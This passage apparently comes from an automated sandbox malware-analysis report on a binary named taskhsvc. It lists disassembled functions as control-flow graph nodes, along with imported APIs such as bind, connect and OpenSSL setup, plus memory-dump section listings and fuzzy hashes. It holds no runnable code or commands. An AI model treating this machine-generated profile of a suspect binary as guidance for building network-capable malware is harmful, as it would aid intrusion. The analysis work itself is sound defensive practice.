                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: malloc$ExceptionFilterUnhandled_amsg_exit_cexit_inittermmemcpystrlen
                                        • String ID: 2Y#$:[#
                                        • API String ID: 2574462208-2722984323
                                        • Opcode ID: ba8806c333f201143e23fff419779b406135261f89f392fda4944dc021a91800
                                        • Instruction ID: a9379486164056f03b7a0d7279e07a0886a9f5af9546e131aa1373b44eb08377
                                        • Opcode Fuzzy Hash: ba8806c333f201143e23fff419779b406135261f89f392fda4944dc021a91800
                                        • Instruction Fuzzy Hash: 3951A1B09043548FCB10EF6DD98176977E6FB86304F09486EDA84FB312D734A848CB62
                                        Function 00BEB015 Relevance: 18.0, APIs: 5, Strings: 5, Instructions: 467COMMON
                                        Download Yara Rule

                                        Control-flow Graph

                                        • Executed
                                        • Not Executed
                                        control_flow_graph 1309 beb015-beb0a9 call c1f792 1312 beb0be-beb0d8 1309->1312 1313 beb0ab-beb0b8 1309->1313 1315 beb0da 1312->1315 1316 beb0e4-beb165 call d2b94f call d2e0b7 call be8cde call d13842 1312->1316 1313->1312 1314 beb59e-beb5fe call d13842 call d16562 call d19764 abort 1313->1314 1330 beb603-beb6d8 call be9403 call d213ee call d2d7f2 memcpy 1314->1330 1315->1316 1333 beb16e 1316->1333 1334 beb167-beb16c 1316->1334 1345 beb6da-beb6f8 1330->1345 1346 beb725-beb72c 1330->1346 1336 beb173-beb17a 1333->1336 1334->1336 1338 beb17c-beb181 1336->1338 1339 beb183 1336->1339 1342 beb188-beb1b6 call be8718 call d16f50 1338->1342 1339->1342 1355 beb1b8-beb1d6 call d1910d 1342->1355 1356 beb233-beb243 call beaecc 1342->1356 1349 beb70e-beb722 1345->1349 1350 beb6fa-beb70c 1345->1350 1351 beb75e-beb776 call bc1956 1346->1351 1352 beb72e-beb75b 1346->1352 1349->1346 1350->1346 1359 beb778-beb79c call d13842 1351->1359 1360 beb7a1-beb7cc call be8cde 1351->1360 1352->1351 1368 beb1d8-beb1e2 1355->1368 1369 beb1e4-beb1f3 call beae16 1355->1369 1366 beb245-beb28d call d1919b call be8cde call d13842 1356->1366 1367 beb292-beb2a2 call beaef9 1356->1367 1377 beb892-beb899 1359->1377 1372 beb7ce-beb7d3 1360->1372 1373 beb7d5 1360->1373 1366->1367 1391 beb2a4-beb2ec call d1919b call be8cde call d13842 1367->1391 1392 beb2f1-beb2fe 1367->1392 1368->1369 1374 beb1f8-beb22e call d1919b call d13842 1368->1374 1369->1377 1378 beb7da-beb813 call d13842 1372->1378 1373->1378 1374->1377 1380 beb89b-beb8a4 call d16de9 1377->1380 1381 beb8a9-beb8b0 1377->1381 1400 beb825-beb834 1378->1400 1401 beb815-beb823 call bc262a 1378->1401 1380->1381 1388 beb8b2-beb8bb call bea357 1381->1388 1389 beb8c0-beb8d9 call d1721b call bf4130 1381->1389 1388->1389 1430 beb8de-beb8e7 1389->1430 1391->1392 1395 beb304-beb345 1392->1395 1396 beb391-beb3ba bind 1392->1396 1395->1396 1424 beb347-beb38c call d1910d call d1919b call d13842 1395->1424 1406 beb453-beb45a 1396->1406 1407 beb3c0-beb3e8 call d1910d 1396->1407 1412 beb836-beb862 call d16562 call d19764 abort 1400->1412 1413 beb867-beb870 call bf6b2b 1400->1413 1429 beb875-beb890 call d1721b call bf4130 1401->1429 1414 beb45c-beb465 call beaf67 1406->1414 1415 beb4cb-beb4d5 1406->1415 1432 beb3ea 1407->1432 1433 beb3f4-beb44e call d1919b call d13842 1407->1433 1412->1413 1413->1429 1436 beb46a-beb46c 1414->1436 1420 beb4ea-beb51d 1415->1420 1421 beb4d7-beb4e5 1415->1421 1449 beb51f-beb571 call d1910d call d1919b call be8cde call d13842 1420->1449 1450 beb57a-beb59c call d2b94f 1420->1450 1421->1330 1424->1396 1429->1430 1438 beb8ee-beb8f4 1430->1438 1439 beb8e9 __stack_chk_fail 1430->1439 1432->1433 1433->1377 1436->1415 1445 beb46e-beb4c6 call d1910d call d1919b call d13842 1436->1445 1439->1438 1445->1377 1449->1450 1450->1330
                                        APIs
                                          • Part of subcall function 00C1F792: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,00C06074), ref: 00C1F7B2
                                        • abort.MSVCRT ref: 00BEB5FE
                                        • memcpy.MSVCRT ref: 00BEB6C7
                                          • Part of subcall function 00D1919B: strerror.MSVCRT ref: 00D191ED
                                          • Part of subcall function 00D1919B: __stack_chk_fail.LIBSSP-0 ref: 00D191FD
                                          • Part of subcall function 00D13842: __stack_chk_fail.LIBSSP-0 ref: 00D138B7
                                        • __stack_chk_fail.LIBSSP-0 ref: 00BEB8E9
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail$abortmemcpystrerror
                                        • String ID: #t$)$@'$G'$|t
                                        • API String ID: 20845292-2300831308
                                        • Opcode ID: db62c50f80f14e4e9f75e365f77daa224a8f469935ed7cbeba172cdd8287931e
                                        • Instruction ID: 3ea2c8e57f9bf728114ae149b56cf863e9a6cf35b8ca3acc71178572d87daa7c
                                        • Opcode Fuzzy Hash: db62c50f80f14e4e9f75e365f77daa224a8f469935ed7cbeba172cdd8287931e
                                        • Instruction Fuzzy Hash: 3732D3B49083659FDB10EF25C985BADBBF0FF48304F00889AE599A7251D7749AC4CF62
                                        Function 00BEC647 Relevance: 17.8, APIs: 6, Strings: 4, Instructions: 304networkCOMMON
                                        Download Yara Rule

                                        Control-flow Graph

                                        • Executed
                                        • Not Executed
                                        control_flow_graph 1475 bec647-bec696 call c1f792 1478 bec698-bec6c4 call d16562 call d19764 abort 1475->1478 1479 bec6c9-bec6d5 1475->1479 1478->1479 1481 bec708-bec714 1479->1481 1482 bec6d7-bec703 call d16562 call d19764 abort 1479->1482 1485 bec716-bec742 call d16562 call d19764 abort 1481->1485 1486 bec747-bec754 call c1f792 1481->1486 1482->1481 1485->1486 1495 bec75a-bec796 call d138be 1486->1495 1496 bec7e0-bec7f6 1486->1496 1507 bec798-bec7d1 call d16562 call d1985e 1495->1507 1508 bec7d6-bec7db 1495->1508 1501 bec7f8-bec802 1496->1501 1502 bec804-bec809 1496->1502 1501->1502 1504 bec80b 1501->1504 1505 bec810-bec834 call d16f50 1502->1505 1504->1505 1512 bec83a-bec856 call d1910d 1505->1512 1513 bec8d4-bec8e1 call beaecc 1505->1513 1507->1508 1511 becb4e-becb57 1508->1511 1514 becb5e-becb5f 1511->1514 1515 becb59 __stack_chk_fail 1511->1515 1522 bec858-bec862 1512->1522 1523 bec864-bec87e call beae16 call d1721b call bf4130 1512->1523 1524 bec91c-bec935 call d1721b call bf4130 1513->1524 1525 bec8e3-bec917 call d1919b call d13842 1513->1525 1515->1514 1522->1523 1527 bec880-bec8c5 call d1919b call d13842 call d1721b call bf4130 1522->1527 1555 bec8ca-bec8cf 1523->1555 1542 bec937-bec957 1524->1542 1543 bec9b5-bec9c1 1524->1543 1525->1524 1527->1555 1542->1543 1558 bec959-bec9b0 call d1910d call d1919b call d13842 call d16de9 1542->1558 1546 bec9f4-bec9ff 1543->1546 1547 bec9c3-bec9ef call d16562 call d19764 abort 1543->1547 1553 beca1f-beca3f connect 1546->1553 1554 beca01-beca1a call bf33ed 1546->1554 1547->1546 1560 becac5-becac9 1553->1560 1561 beca45-beca5a call d1910d 1553->1561 1554->1553 1555->1511 1558->1511 1564 becacb-becad0 1560->1564 1565 becad2 1560->1565 1574 becabe 1561->1574 1575 beca5c-beca63 1561->1575 1569 becad7-becadb 1564->1569 1565->1569 1572 becadd-becae2 1569->1572 1573 becae4 1569->1573 1577 becae9-becb32 call d13842 call bc1956 1572->1577 1573->1577 1574->1560 1575->1574 1578 beca65-beca6c 1575->1578 1591 becb44-becb4b 1577->1591 1592 becb34-becb42 1577->1592 1578->1574 1579 beca6e-becab9 call d1919b call d13842 call d16de9 1578->1579 1579->1511 1591->1511 1592->1511
                                        APIs
                                          • Part of subcall function 00C1F792: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,00C06074), ref: 00C1F7B2
                                        • abort.MSVCRT ref: 00BEC6C4
                                        • abort.MSVCRT ref: 00BEC703
                                        • abort.MSVCRT ref: 00BEC742
                                        • __stack_chk_fail.LIBSSP-0 ref: 00BECB59
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D16586
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D1659C
                                          • Part of subcall function 00D16562: __stack_chk_fail.LIBSSP-0 ref: 00D16601
                                          • Part of subcall function 00D19764: __stack_chk_fail.LIBSSP-0 ref: 00D19857
                                        • abort.MSVCRT ref: 00BEC9EF
                                        • connect.WS2_32 ref: 00BECA38
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_failabort$strrchr$connect
                                        • String ID: 3'$\y$established$in progress
                                        • API String ID: 353539820-142794280
                                        • Opcode ID: 1f80391bb05cfbdcc10d185dbc4129e2b1bdef26b00a9d9a6e896d4762618717
                                        • Instruction ID: 4707edb618fe13c0f30f574237555f8d37923cff641873877b258dae5c5aad0f
                                        • Opcode Fuzzy Hash: 1f80391bb05cfbdcc10d185dbc4129e2b1bdef26b00a9d9a6e896d4762618717
                                        • Instruction Fuzzy Hash: F0E1F3B4908345DFDB00EFA9D5896AEBBF0FF84304F008859E494AB351D7789985CF62
                                        Function 00D35EA1 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67stringCOMMON
                                        Download Yara Rule
                                        APIs
                                        • ERR_load_crypto_strings.LIBEAY32 ref: 00D35EC8
                                        • OPENSSL_add_all_algorithms_noconf.LIBEAY32 ref: 00D35ECD
                                          • Part of subcall function 00D3D6F1: CRYPTO_num_locks.LIBEAY32(?,?,?,?,?,?,-00000001,?,00D35ED7), ref: 00D3D702
                                          • Part of subcall function 00D3D6F1: CRYPTO_set_locking_callback.LIBEAY32 ref: 00D3D75B
                                          • Part of subcall function 00D3D6F1: CRYPTO_THREADID_set_callback.LIBEAY32 ref: 00D3D767
                                          • Part of subcall function 00D3D6F1: __stack_chk_fail.LIBSSP-0 ref: 00D3D77C
                                        • SSLeay.LIBEAY32 ref: 00D35ED7
                                        • SSLeay_version.LIBEAY32 ref: 00D35EE6
                                        • strcmp.MSVCRT ref: 00D35F05
                                          • Part of subcall function 00D13842: __stack_chk_fail.LIBSSP-0 ref: 00D138B7
                                          • Part of subcall function 00D45F8F: __stack_chk_fail.LIBSSP-0 ref: 00D45FB0
                                          • Part of subcall function 00D47322: __stack_chk_fail.LIBSSP-0 ref: 00D47343
                                        • __stack_chk_fail.LIBSSP-0 ref: 00D35FC3
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail$D_set_callbackL_add_all_algorithms_noconfLeayLeay_versionO_num_locksO_set_locking_callbackR_load_crypto_stringsstrcmp
                                        • String ID: @E$4
                                        • API String ID: 694082125-3897025964
                                        • Opcode ID: ea85fa485b772eaee3374b8152d3ae1b6e301bf66d940ae49461dc06be35a29c
